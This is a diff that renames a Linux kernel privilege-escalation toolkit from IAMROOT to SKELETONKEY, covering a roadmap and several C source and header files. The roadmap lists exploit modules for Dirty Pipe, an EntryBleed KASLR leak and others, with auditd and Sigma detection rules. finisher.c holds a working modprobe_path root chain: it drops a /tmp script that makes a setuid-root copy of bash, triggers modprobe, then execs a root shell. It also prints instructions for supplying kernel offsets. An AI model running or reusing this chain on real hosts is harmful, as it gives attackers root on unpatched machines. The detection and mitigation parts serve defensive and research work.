kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
|
kernels ≤5.16.11/≤5.15.25/≤5.10.102 so coverage is older
|
||||||
deployments (worth bundling — many production boxes still run
|
deployments (worth bundling — many production boxes still run
|
||||||
@@ -49,7 +49,7 @@ these).
|
|||||||
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
|
branch-backport thresholds (5.10.102 / 5.15.25 / 5.16.11 / 5.17+)
|
||||||
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
|
- [x] Detection rules: `auditd.rules` (splice() syscall + passwd/shadow
|
||||||
watches) and `sigma.yml` (non-root modification of sensitive files)
|
watches) and `sigma.yml` (non-root modification of sensitive files)
|
||||||
- [x] Registered in `iamroot --list` / `--scan` output. Verified on
|
- [x] Registered in `skeletonkey --list` / `--scan` output. Verified on
|
||||||
kernel 6.12.86 → correctly reports OK (patched).
|
kernel 6.12.86 → correctly reports OK (patched).
|
||||||
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
|
- [x] **Phase 2 complete (2026-05-16)**: full exploit landed. Inline
|
||||||
passwd-UID and page-cache-revert helpers in the module (~80 lines).
|
passwd-UID and page-cache-revert helpers in the module (~80 lines).
|
||||||
@@ -76,12 +76,12 @@ primitive** that other modules can chain. Bundled because:
|
|||||||
|
|
||||||
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
|
- [x] `modules/entrybleed_cve_2023_0458/` — leak primitive + detect
|
||||||
- [x] Exposed as a library helper: other modules can call
|
- [x] Exposed as a library helper: other modules can call
|
||||||
`entrybleed_leak_kbase_lib()` (declared in iamroot_modules.h)
|
`entrybleed_leak_kbase_lib()` (declared in skeletonkey_modules.h)
|
||||||
- [x] Wired into iamroot.c registry; `iamroot --exploit entrybleed
|
- [x] Wired into skeletonkey.c registry; `skeletonkey --exploit entrybleed
|
||||||
--i-know` produces a kbase leak. Verified on kctf-mgr:
|
--i-know` produces a kbase leak. Verified on kctf-mgr:
|
||||||
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
|
leaked `0xffffffff8d800000` with KASLR slide `0xc800000`.
|
||||||
- [x] `entry_SYSCALL_64` slot offset configurable via
|
- [x] `entry_SYSCALL_64` slot offset configurable via
|
||||||
`IAMROOT_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
`SKELETONKEY_ENTRYBLEED_OFFSET` env var (default matches lts-6.12.x).
|
||||||
Future enhancement: auto-detect via /boot/System.map or
|
Future enhancement: auto-detect via /boot/System.map or
|
||||||
/proc/kallsyms if accessible.
|
/proc/kallsyms if accessible.
|
||||||
|
|
||||||
@@ -104,28 +104,28 @@ primitive** that other modules can chain. Bundled because:
|
|||||||
|
|
||||||
## Phase 5 — Detection signature export (DONE 2026-05-16)
|
## Phase 5 — Detection signature export (DONE 2026-05-16)
|
||||||
|
|
||||||
- [x] `iamroot --detect-rules --format=auditd` — embedded auditd rules
|
- [x] `skeletonkey --detect-rules --format=auditd` — embedded auditd rules
|
||||||
across all modules (deduped — family-shared rules emit once)
|
across all modules (deduped — family-shared rules emit once)
|
||||||
- [x] `iamroot --detect-rules --format=sigma` — embedded Sigma rules
|
- [x] `skeletonkey --detect-rules --format=sigma` — embedded Sigma rules
|
||||||
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
|
- [x] `--format=yara` and `--format=falco` flags accepted; per-module
|
||||||
strings can be added when authors ship them. Currently no module
|
strings can be added when authors ship them. Currently no module
|
||||||
ships YARA or Falco rules (skipped cleanly).
|
ships YARA or Falco rules (skipped cleanly).
|
||||||
- [x] `struct iamroot_module` gained `detect_auditd`, `detect_sigma`,
|
- [x] `struct skeletonkey_module` gained `detect_auditd`, `detect_sigma`,
|
||||||
`detect_yara`, `detect_falco` fields — each NULL or pointer to
|
`detect_yara`, `detect_falco` fields — each NULL or pointer to
|
||||||
embedded C string. Self-contained binary, no data-dir install needed.
|
embedded C string. Self-contained binary, no data-dir install needed.
|
||||||
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
|
- [ ] Sample SOC playbook in `docs/DETECTION_PLAYBOOK.md` — followup
|
||||||
|
|
||||||
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
|
## Phase 6 — Mitigation mode (PARTIAL — copy_fail_family bridged 2026-05-16)
|
||||||
|
|
||||||
- [x] copy_fail_family: `iamroot --mitigate copy_fail` (or any family
|
- [x] copy_fail_family: `skeletonkey --mitigate copy_fail` (or any family
|
||||||
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
|
member) blacklists algif_aead + esp4 + esp6 + rxrpc, sets
|
||||||
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
|
`kernel.apparmor_restrict_unprivileged_userns=1`, drops page
|
||||||
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
|
cache. Bridged from existing DIRTYFAIL `mitigate_apply()`.
|
||||||
- [x] copy_fail_family: `iamroot --cleanup <name>` routes by visible
|
- [x] copy_fail_family: `skeletonkey --cleanup <name>` routes by visible
|
||||||
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
|
state: if `/etc/modprobe.d/dirtyfail-mitigations.conf` exists →
|
||||||
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
|
`mitigate_revert()`; else evict /etc/passwd page cache. Heuristic
|
||||||
sufficient for common usage patterns.
|
sufficient for common usage patterns.
|
||||||
- [x] dirty_pipe: `iamroot --cleanup dirty_pipe` evicts /etc/passwd
|
- [x] dirty_pipe: `skeletonkey --cleanup dirty_pipe` evicts /etc/passwd
|
||||||
(already landed in Phase 2 complete).
|
(already landed in Phase 2 complete).
|
||||||
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
|
- [ ] dirty_pipe `--mitigate`: only real fix is "upgrade your kernel";
|
||||||
no automated mitigation possible. Document and skip.
|
no automated mitigation possible. Document and skip.
|
||||||
@@ -178,7 +178,7 @@ cred-overwrite. Promotion to 🟢 means landing the leak → R/W →
|
|||||||
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
modprobe_path-or-cred-rewrite stage on at least one tracked kernel.
|
||||||
None requires fresh research — each has a public reference exploit;
|
None requires fresh research — each has a public reference exploit;
|
||||||
the work is porting the per-kernel offset dance into a portable
|
the work is porting the per-kernel offset dance into a portable
|
||||||
shape compatible with IAMROOT's "no-fabricated-offsets" rule (most
|
shape compatible with SKELETONKEY's "no-fabricated-offsets" rule (most
|
||||||
likely as an env-var override table per distro+kernel, with offset
|
likely as an env-var override table per distro+kernel, with offset
|
||||||
auto-resolve via System.map / kallsyms when accessible).
|
auto-resolve via System.map / kallsyms when accessible).
|
||||||
|
|
||||||
@@ -190,7 +190,7 @@ race window makes it inherently low-yield.
|
|||||||
|
|
||||||
## Non-goals
|
## Non-goals
|
||||||
|
|
||||||
- **No 0-day shipment.** Everything in IAMROOT is post-patch.
|
- **No 0-day shipment.** Everything in SKELETONKEY is post-patch.
|
||||||
- **No automated mass-targeting.** No host-list mode. No automatic
|
- **No automated mass-targeting.** No host-list mode. No automatic
|
||||||
pivoting.
|
pivoting.
|
||||||
- **No persistence beyond `--exploit-backdoor`'s
|
- **No persistence beyond `--exploit-backdoor`'s
|
||||||
|
|||||||
+25
-25
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — shared finisher helpers
|
* SKELETONKEY — shared finisher helpers
|
||||||
*
|
*
|
||||||
* See finisher.h for the pattern split (A: modprobe_path overwrite,
|
* See finisher.h for the pattern split (A: modprobe_path overwrite,
|
||||||
* B: current->cred->uid).
|
* B: current->cred->uid).
|
||||||
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void iamroot_finisher_print_offset_help(const char *module_name)
|
void skeletonkey_finisher_print_offset_help(const char *module_name)
|
||||||
{
|
{
|
||||||
fprintf(stderr,
|
fprintf(stderr,
|
||||||
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
|
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
|
||||||
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
|||||||
" To populate them on this host, choose ONE of:\n"
|
" To populate them on this host, choose ONE of:\n"
|
||||||
"\n"
|
"\n"
|
||||||
" 1) Environment override (one-shot, no host changes):\n"
|
" 1) Environment override (one-shot, no host changes):\n"
|
||||||
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
|
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
|
||||||
"\n"
|
"\n"
|
||||||
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
|
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
|
||||||
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
|
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
|
||||||
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
|||||||
module_name, module_name);
|
module_name, module_name);
|
||||||
}
|
}
|
||||||
|
|
||||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||||
iamroot_arb_write_fn arb_write,
|
skeletonkey_arb_write_fn arb_write,
|
||||||
void *arb_ctx,
|
void *arb_ctx,
|
||||||
bool spawn_shell)
|
bool spawn_shell)
|
||||||
{
|
{
|
||||||
if (!iamroot_offsets_have_modprobe_path(off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(off)) {
|
||||||
iamroot_finisher_print_offset_help("module");
|
skeletonkey_finisher_print_offset_help("module");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
if (!arb_write) {
|
if (!arb_write) {
|
||||||
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
|
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Per-pid working paths so concurrent runs don't collide. */
|
/* Per-pid working paths so concurrent runs don't collide. */
|
||||||
pid_t pid = getpid();
|
pid_t pid = getpid();
|
||||||
char mp_path[64], trig_path[64], pwn_path[64];
|
char mp_path[64], trig_path[64], pwn_path[64];
|
||||||
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
|
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
|
||||||
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
|
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
|
||||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
|
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
|
||||||
|
|
||||||
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
|
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
|
||||||
* know it ran. Bash 4+ refuses to use its own setuid bit by
|
* know it ran. Bash 4+ refuses to use its own setuid bit by
|
||||||
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
char payload[1024];
|
char payload[1024];
|
||||||
snprintf(payload, sizeof payload,
|
snprintf(payload, sizeof payload,
|
||||||
"#!/bin/sh\n"
|
"#!/bin/sh\n"
|
||||||
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
|
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||||
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
|
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
|
||||||
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
|
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
|
||||||
pwn_path, pwn_path, pwn_path);
|
pwn_path, pwn_path, pwn_path);
|
||||||
|
|
||||||
if (write_file(mp_path, payload, 0755) < 0) {
|
if (write_file(mp_path, payload, 0755) < 0) {
|
||||||
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
|
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Unknown-format trigger: anything that fails the standard exec
|
/* Unknown-format trigger: anything that fails the standard exec
|
||||||
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
if (write_file(trig_path, "\x00", 0755) < 0) {
|
if (write_file(trig_path, "\x00", 0755) < 0) {
|
||||||
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
|
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
|
||||||
unlink(mp_path);
|
unlink(mp_path);
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Build the kernel-side write payload: a NUL-terminated path to
|
/* Build the kernel-side write payload: a NUL-terminated path to
|
||||||
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
fprintf(stderr, "[-] finisher: arb_write failed\n");
|
fprintf(stderr, "[-] finisher: arb_write failed\n");
|
||||||
unlink(mp_path);
|
unlink(mp_path);
|
||||||
unlink(trig_path);
|
unlink(trig_path);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Fire the trigger by exec'ing the unknown binary. fork() so the
|
/* Fire the trigger by exec'ing the unknown binary. fork() so the
|
||||||
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
waitpid(cpid, &st, 0);
|
waitpid(cpid, &st, 0);
|
||||||
} else {
|
} else {
|
||||||
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
|
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
|
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
|
||||||
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
|
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
|
||||||
unlink(mp_path);
|
unlink(mp_path);
|
||||||
unlink(trig_path);
|
unlink(trig_path);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
|
||||||
have_setuid:
|
have_setuid:
|
||||||
if (!spawn_shell) {
|
if (!spawn_shell) {
|
||||||
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
|
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
|
||||||
unlink(mp_path);
|
unlink(mp_path);
|
||||||
unlink(trig_path);
|
unlink(trig_path);
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
|
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
|
||||||
fflush(stderr);
|
fflush(stderr);
|
||||||
@@ -161,11 +161,11 @@ have_setuid:
|
|||||||
execve(pwn_path, argv, NULL);
|
execve(pwn_path, argv, NULL);
|
||||||
/* Only reached on execve failure. */
|
/* Only reached on execve failure. */
|
||||||
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
|
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||||
iamroot_arb_write_fn arb_write,
|
skeletonkey_arb_write_fn arb_write,
|
||||||
void *arb_ctx,
|
void *arb_ctx,
|
||||||
bool spawn_shell)
|
bool spawn_shell)
|
||||||
{
|
{
|
||||||
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
|||||||
fprintf(stderr,
|
fprintf(stderr,
|
||||||
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
|
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
|
||||||
" the task list from init_task and find current). Modules with\n"
|
" the task list from init_task and find current). Modules with\n"
|
||||||
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
|
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
|
||||||
" instead — same root capability, simpler trigger.\n");
|
" instead — same root capability, simpler trigger.\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|||||||
+19
-19
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — shared finisher helpers for full-chain root pops.
|
* SKELETONKEY — shared finisher helpers for full-chain root pops.
|
||||||
*
|
*
|
||||||
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||||
* write, slab UAF, etc.). The conversion to root is almost always one
|
* write, slab UAF, etc.). The conversion to root is almost always one
|
||||||
@@ -21,11 +21,11 @@
|
|||||||
* Pattern (B) needs a self-cred chase + multiple writes.
|
* Pattern (B) needs a self-cred chase + multiple writes.
|
||||||
*
|
*
|
||||||
* Modules provide their own arb-write primitive via the
|
* Modules provide their own arb-write primitive via the
|
||||||
* iamroot_arb_write_fn callback; this file wraps the rest.
|
* skeletonkey_arb_write_fn callback; this file wraps the rest.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_FINISHER_H
|
#ifndef SKELETONKEY_FINISHER_H
|
||||||
#define IAMROOT_FINISHER_H
|
#define SKELETONKEY_FINISHER_H
|
||||||
|
|
||||||
#include <stdint.h>
|
#include <stdint.h>
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
@@ -35,7 +35,7 @@
|
|||||||
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
||||||
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
||||||
* negative on failure. `ctx` is opaque module state. */
|
* negative on failure. `ctx` is opaque module state. */
|
||||||
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
|
||||||
const void *buf, size_t len,
|
const void *buf, size_t len,
|
||||||
void *ctx);
|
void *ctx);
|
||||||
|
|
||||||
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
|||||||
* groomed slab THEN call the trigger. The trigger is a separate fn
|
* groomed slab THEN call the trigger. The trigger is a separate fn
|
||||||
* because some modules need to re-spray before each write. NULL is
|
* because some modules need to re-spray before each write. NULL is
|
||||||
* acceptable if the arb-write is self-contained. */
|
* acceptable if the arb-write is self-contained. */
|
||||||
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
|
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
|
||||||
|
|
||||||
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
||||||
* already populated `off->modprobe_path`. Implementation:
|
* already populated `off->modprobe_path`. Implementation:
|
||||||
* 1. Write payload script to /tmp/iamroot-mp-<pid>
|
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
|
||||||
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
|
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
|
||||||
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
|
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
|
||||||
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
||||||
* → our payload runs as root → payload writes /tmp/iamroot-pwn
|
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
|
||||||
* and/or copies /bin/bash to /tmp with setuid root
|
* and/or copies /bin/bash to /tmp with setuid root
|
||||||
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
||||||
*
|
*
|
||||||
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
|
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
|
||||||
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
|
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
|
||||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||||
iamroot_arb_write_fn arb_write,
|
skeletonkey_arb_write_fn arb_write,
|
||||||
void *arb_ctx,
|
void *arb_ctx,
|
||||||
bool spawn_shell);
|
bool spawn_shell);
|
||||||
|
|
||||||
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
|||||||
* 1. Walk task linked list from init_task to find self by pid
|
* 1. Walk task linked list from init_task to find self by pid
|
||||||
* (this requires arb-READ too — not supplied here; B-pattern
|
* (this requires arb-READ too — not supplied here; B-pattern
|
||||||
* modules need to provide their own variant)
|
* modules need to provide their own variant)
|
||||||
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
|
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
|
||||||
* helpful error. */
|
* helpful error. */
|
||||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||||
iamroot_arb_write_fn arb_write,
|
skeletonkey_arb_write_fn arb_write,
|
||||||
void *arb_ctx,
|
void *arb_ctx,
|
||||||
bool spawn_shell);
|
bool spawn_shell);
|
||||||
|
|
||||||
/* Diagnostic: tell the operator how to populate offsets manually. */
|
/* Diagnostic: tell the operator how to populate offsets manually. */
|
||||||
void iamroot_finisher_print_offset_help(const char *module_name);
|
void skeletonkey_finisher_print_offset_help(const char *module_name);
|
||||||
|
|
||||||
#endif /* IAMROOT_FINISHER_H */
|
#endif /* SKELETONKEY_FINISHER_H */
|
||||||
|
|||||||
+2
-2
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — kernel_range implementation
|
* SKELETONKEY — kernel_range implementation
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "kernel_range.h"
|
#include "kernel_range.h"
|
||||||
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
|
|||||||
if (uname(&u) < 0) return false;
|
if (uname(&u) < 0) return false;
|
||||||
|
|
||||||
/* Stash release string for callers that want to print it. We hold
|
/* Stash release string for callers that want to print it. We hold
|
||||||
* a single static buffer; not threadsafe but iamroot is single-
|
* a single static buffer; not threadsafe but skeletonkey is single-
|
||||||
* threaded today. */
|
* threaded today. */
|
||||||
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
|
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
|
||||||
out->release = g_release_buf;
|
out->release = g_release_buf;
|
||||||
|
|||||||
+4
-4
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — kernel version range matching
|
* SKELETONKEY — kernel version range matching
|
||||||
*
|
*
|
||||||
* Every CVE module needs to answer "is the host kernel in the affected
|
* Every CVE module needs to answer "is the host kernel in the affected
|
||||||
* range?". This file centralizes that.
|
* range?". This file centralizes that.
|
||||||
@@ -17,8 +17,8 @@
|
|||||||
* patch version is at or above the threshold.
|
* patch version is at or above the threshold.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_KERNEL_RANGE_H
|
#ifndef SKELETONKEY_KERNEL_RANGE_H
|
||||||
#define IAMROOT_KERNEL_RANGE_H
|
#define SKELETONKEY_KERNEL_RANGE_H
|
||||||
|
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
|
|||||||
bool kernel_range_is_patched(const struct kernel_range *r,
|
bool kernel_range_is_patched(const struct kernel_range *r,
|
||||||
const struct kernel_version *v);
|
const struct kernel_version *v);
|
||||||
|
|
||||||
#endif /* IAMROOT_KERNEL_RANGE_H */
|
#endif /* SKELETONKEY_KERNEL_RANGE_H */
|
||||||
|
|||||||
+30
-30
@@ -1,49 +1,49 @@
|
|||||||
/*
|
/*
|
||||||
* IAMROOT — core module interface
|
* SKELETONKEY — core module interface
|
||||||
*
|
*
|
||||||
* Every CVE module exports one or more `struct iamroot_module` entries
|
* Every CVE module exports one or more `struct skeletonkey_module` entries
|
||||||
* via a registry function. The top-level dispatcher (iamroot.c) walks
|
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
|
||||||
* the global registry to implement --scan, --exploit, --mitigate, etc.
|
* the global registry to implement --scan, --exploit, --mitigate, etc.
|
||||||
*
|
*
|
||||||
* This is intentionally a small interface. Modules carry the
|
* This is intentionally a small interface. Modules carry the
|
||||||
* complexity; the dispatcher just routes.
|
* complexity; the dispatcher just routes.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#ifndef IAMROOT_MODULE_H
|
#ifndef SKELETONKEY_MODULE_H
|
||||||
#define IAMROOT_MODULE_H
|
#define SKELETONKEY_MODULE_H
|
||||||
|
|
||||||
#include <stddef.h>
|
#include <stddef.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
|
|
||||||
/* Standard result codes returned by detect()/exploit()/mitigate().
|
/* Standard result codes returned by detect()/exploit()/mitigate().
|
||||||
*
|
*
|
||||||
* These map to top-level exit codes when iamroot is invoked with a
|
* These map to top-level exit codes when skeletonkey is invoked with a
|
||||||
* single-module operation:
|
* single-module operation:
|
||||||
*
|
*
|
||||||
* IAMROOT_OK exit 0 detect: not vulnerable / clean
|
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
|
||||||
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
|
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||||
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
|
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||||
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
|
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
|
||||||
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||||
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||||
*
|
*
|
||||||
* Implementation note: copy_fail_family's df_result_t shares these
|
* Implementation note: copy_fail_family's df_result_t shares these
|
||||||
* numeric values intentionally so the family code can return its
|
* numeric values intentionally so the family code can return its
|
||||||
* existing constants without translation.
|
* existing constants without translation.
|
||||||
*/
|
*/
|
||||||
typedef enum {
|
typedef enum {
|
||||||
IAMROOT_OK = 0,
|
SKELETONKEY_OK = 0,
|
||||||
IAMROOT_TEST_ERROR = 1,
|
SKELETONKEY_TEST_ERROR = 1,
|
||||||
IAMROOT_VULNERABLE = 2,
|
SKELETONKEY_VULNERABLE = 2,
|
||||||
IAMROOT_EXPLOIT_FAIL = 3,
|
SKELETONKEY_EXPLOIT_FAIL = 3,
|
||||||
IAMROOT_PRECOND_FAIL = 4,
|
SKELETONKEY_PRECOND_FAIL = 4,
|
||||||
IAMROOT_EXPLOIT_OK = 5,
|
SKELETONKEY_EXPLOIT_OK = 5,
|
||||||
} iamroot_result_t;
|
} skeletonkey_result_t;
|
||||||
|
|
||||||
/* Per-invocation context passed to module callbacks. Lightweight for
|
/* Per-invocation context passed to module callbacks. Lightweight for
|
||||||
* now; will grow as modules need shared state (host fingerprint,
|
* now; will grow as modules need shared state (host fingerprint,
|
||||||
* leaked kbase, etc.). */
|
* leaked kbase, etc.). */
|
||||||
struct iamroot_ctx {
|
struct skeletonkey_ctx {
|
||||||
